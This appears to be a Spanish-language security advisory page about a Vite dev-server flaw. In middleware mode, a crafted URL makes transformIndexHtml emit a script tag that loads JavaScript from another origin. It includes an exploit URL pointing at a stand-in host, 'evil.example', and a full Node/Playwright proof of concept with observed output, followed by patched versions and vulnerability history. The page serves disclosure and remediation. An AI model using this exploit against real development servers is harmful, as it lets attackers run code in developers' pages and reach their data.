Vite: Ejecución de scripts entre orígenes mediante middleware personalizado de Vite
Resumen
Al acceder a un sitio malicioso mientras se ejecuta un servidor de desarrollo con Vite, dicho sitio podía cargar scripts en una página servida por el servidor de desarrollo.
Impacto
Solo se ven afectadas las aplicaciones que cumplen con las siguientes condiciones:
- El servidor de desarrollo pasa una URL de solicitud de navegador sin modificar a
server.transformIndexHtml: esto se utiliza normalmente paraserver.middlewareMode: trueoappType: 'custom'. La llamada interna paraappType: 'spa'yappType: 'mpa'no coincide con esto. - El HTML transformado contiene un script de módulo inline.
- Desde el script en la página servida por el servidor de desarrollo, la aplicación almacena valores confidenciales en una ubicación accesible o permite acciones críticas.
Detalles
La guía de SSR de Vite para 8.2.1) documenta la configuración afectada. La aplicación integra Vite en modo middleware, lee HTML de confianza y pasa la URL de solicitud sin modificar del navegador a la transformación:
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
Para un servidor de desarrollo en http://localhost:5173, un atacante puede enviar esta URL:
http://localhost:5173//evil.example/payload.js?/../../package.json
En Vite 8.2.1, createDevHtmlTransformFn y getHtmlFilename en indexHtml.ts) utilizan la URL de la solicitud tanto como path de transformación como entrada para path.join. El valor pasado a path.join todavía incluye su texto de consulta.
Chromium preserva /../../package.json porque sigue a ? y, por lo tanto, es texto de consulta. Vite interpreta los mismos caracteres como componentes de ruta del sistema de archivos, por lo que los componentes .. resuelven el nombre de archivo derivado al proyecto existente package.json.
La rama de archivo existente en indexHtml.ts) comprueba ese nombre de archivo con fs.existsSync, y luego conserva el htmlPath suministrado por el atacante como proxyModuleUrl. La reescritura de módulos inline en el mismo archivo) escribe ese valor en el src generado:
<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>
El valor generado es una URL válida. Su prefijo // indica al navegador que solicite el módulo desde evil.example utilizando el esquema de la página de Vite. El atacante devuelve JavaScript para esa solicitud y Chromium lo ejecuta en la página de Vite.
PoC
import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'
const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
viteModule.createServer ?? viteModule.default.createServer
// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'
const listen = (server, port = 0) =>
new Promise((resolve, reject) => {
server.once('error', reject)
server.listen(port, '127.0.0.1', () => {
server.off('error', reject)
resolve(server.address().port)
})
})
const close = (server) =>
new Promise((resolve, reject) => {
server.close((error) => (error ? reject(error) : resolve()))
})
let attackerRequest = null
const attacker = createHttpServer((request, response) => {
attackerRequest = request.url
response.writeHead(200, {
'access-control-allow-origin': '*',
'content-type': 'text/javascript',
})
response.end(
"document.documentElement.dataset.viteXssPoc = 'executed'",
)
})
const vite = await createViteServer({
appType: 'custom',
configFile: false,
root: directory,
server: {
hmr: false,
middlewareMode: true,
watch: null,
},
})
const application = createHttpServer((request, response) => {
vite.middlewares(request, response, async (error) => {
if (error) {
response.destroy(error)
return
}
try {
const transformed = await vite.transformIndexHtml(request.url, html)
response.writeHead(200, { 'content-type': 'text/html' })
response.end(transformed)
} catch (transformError) {
response.destroy(transformError)
}
})
})
await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })
try {
const page = await browser.newPage()
await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
await page.waitForFunction(
() => document.documentElement.dataset.viteXssPoc === 'executed',
)
console.log(`attacker request: ${attackerRequest}`)
console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
await browser.close()
await close(application)
await vite.close()
await close(attacker)
}
Salida observada en Vite 8.2.1:
attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page
Qué hacer
Actualice Vite a la versión 6.4.4, 7.3.7, 8.1.6, 8.2.4, 8.3.3 o superior, y vite-plus a la versión 1.1.0 o superior.
Software afectado
Haz clic en una tecnología para ver todas sus vulnerabilidades.
| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | vite | >= 8.3.0, < 8.3.3, >= 8.2.0, < 8.2.4, >= 8.0.0, < 8.1.6, >= 7.0.0, < 7.3.7, < 6.4.4 | 8.3.3, 8.2.4, 8.1.6, 7.3.7, 6.4.4 |
| Paquete de npm | vite-plus | < 1.1.0 | 1.1.0 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N- Debilidad (CWE)
CWE-80- Plataforma
- npm
- Paquete
vite, vite-plus- Publicada
- 21.10.2026
- Actualizado
- 21.10.2026 19:20
Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.
OSV / GitHub Advisory Database - GHSA-9jrq-w75r-8gcw - CC BY 4.0
Historial de vulnerabilidades: vite
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 27
- Primera → última
- 08.2022 10.2026
- Sin corrección
- 0
- Explotada en ataques
- 1
Distribución por gravedad
- Alta 8
- Media 16
- Baja 3
Divulgaciones por año
- 2022: 1
- 2023: 2
- 2024: 4
- 2025: 9
- 2026: 11
-
Vite: Ejecución de scripts entre orígenes mediante middleware personalizado de Vite esta entrada
Identifica las vulnerabilidades de tu aplicación
Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.